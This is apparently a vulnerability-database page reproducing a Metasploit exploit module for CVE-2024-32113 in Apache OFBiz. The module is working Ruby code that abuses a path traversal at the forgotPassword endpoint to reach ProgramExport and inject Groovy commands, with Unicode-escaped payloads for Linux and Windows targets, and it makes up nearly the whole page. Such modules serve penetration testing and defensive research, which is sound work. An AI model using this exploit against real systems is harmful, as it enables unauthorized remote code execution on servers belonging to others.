Lucene search
K

Apache OFBiz Forgot Password Directory Traversal

🗓️ 18 Jun 2024 00:00:00Reported by jheysel-r7, Mr-xn, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 450 Views

Apache OFBiz Forgot Password Directory Traversal vulnerability allows unauthorized access to the webtools control forgotPassword endpoint and leads to remote code execution in the context of the application user.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Apache OFBiz 18.12.12 - Directory Traversal Vulnerability
19 May 202400:00
zdt
GithubExploit
Exploit for Path Traversal in Apache Ofbiz
11 Jul 202502:13
githubexploit
GithubExploit
Exploit for Path Traversal in Apache Ofbiz
9 Oct 202515:21
githubexploit
GithubExploit
Exploit for Path Traversal in Apache Ofbiz
10 Apr 202413:22
githubexploit
GithubExploit
Exploit for Path Traversal in Apache Ofbiz
9 Oct 202515:21
githubexploit
ATTACKERKB
CVE-2024-32113
8 May 202400:00
attackerkb
ATTACKERKB
CVE-2024-45195
4 Sep 202400:00
attackerkb
Tenable Nessus
Apache OFBiz Path Traversal (CVE-2024-32113)
20 Aug 202400:00
nessus
Tenable Nessus
Apache OFBiz < 18.12.13 Path Traversal
12 Aug 202400:00
nessus
Circl
CVE-2024-32113
13 May 202414:19
circl
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache OFBiz Forgot Password Directory Traversal',  
'Description' => %q{  
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable  
endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in  
turn allows for remote code execution in the context of the user running the application.  
},  
'Author' => [  
'Mr-xn', # PoC  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],  
[ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],  
[ 'CVE', '2024-32113']  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[linux win],  
'Privileged' => true, # You get a root session when exploiting a docker container though user level session on Windows.  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Linux Command',  
{  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD],  
'Type' => :unix_cmd  
}  
],  
[  
'Windows Command',  
{  
'Platform' => ['win'],  
'Arch' => [ARCH_CMD],  
'Type' => :win_cmd  
}  
],  
],  
'Payload' => {  
'BadChars' => "\x3a"  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-05-30',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
},  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 8443  
}  
)  
)  
end  
  
def send_cmd_injection(cmd)  
data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword;/ProgramExport'),  
'headers' => {  
'HOST' => '127.0.0.1'  
},  
'method' => 'POST',  
'data' => data  
})  
end  
  
def check  
echo_test_string = rand_text_alpha(8..12)  
case target['Type']  
when :win_cmd  
test_payload = to_unicode_escape("cmd.exe /c echo #{echo_test_string}")  
when :unix_cmd  
test_payload = to_unicode_escape("echo #{echo_test_string}")  
else  
return CheckCode::Unknown('Please select a valid target')  
end  
  
res = send_cmd_injection(test_payload)  
return CheckCode::Unknown('Target did not respond to check.') unless res  
  
unless res.get_html_document&.xpath("//div[@class='content-messages errorMessage' and .//p[contains(text(), 'java.lang.Exception: #{echo_test_string}')]]")&.empty?  
return CheckCode::Vulnerable('Tested remote code execution successfully')  
end  
  
CheckCode::Safe('Attempting to exploit vulnerability failed.')  
end  
  
def to_unicode_escape(str)  
str.chars.map { |char| '\\u%04x' % char.ord }.join  
end  
  
def exploit  
print_status('Attempting to exploit...')  
res = ''  
case target['Type']  
when :win_cmd  
res = send_cmd_injection(payload.encoded)  
when :unix_cmd  
res = send_cmd_injection(to_unicode_escape("sh -c $@|sh . echo #{payload.raw}"))  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
print_error('The target responded to the exploit attempt which is not expected. The exploit likely failed') if res  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation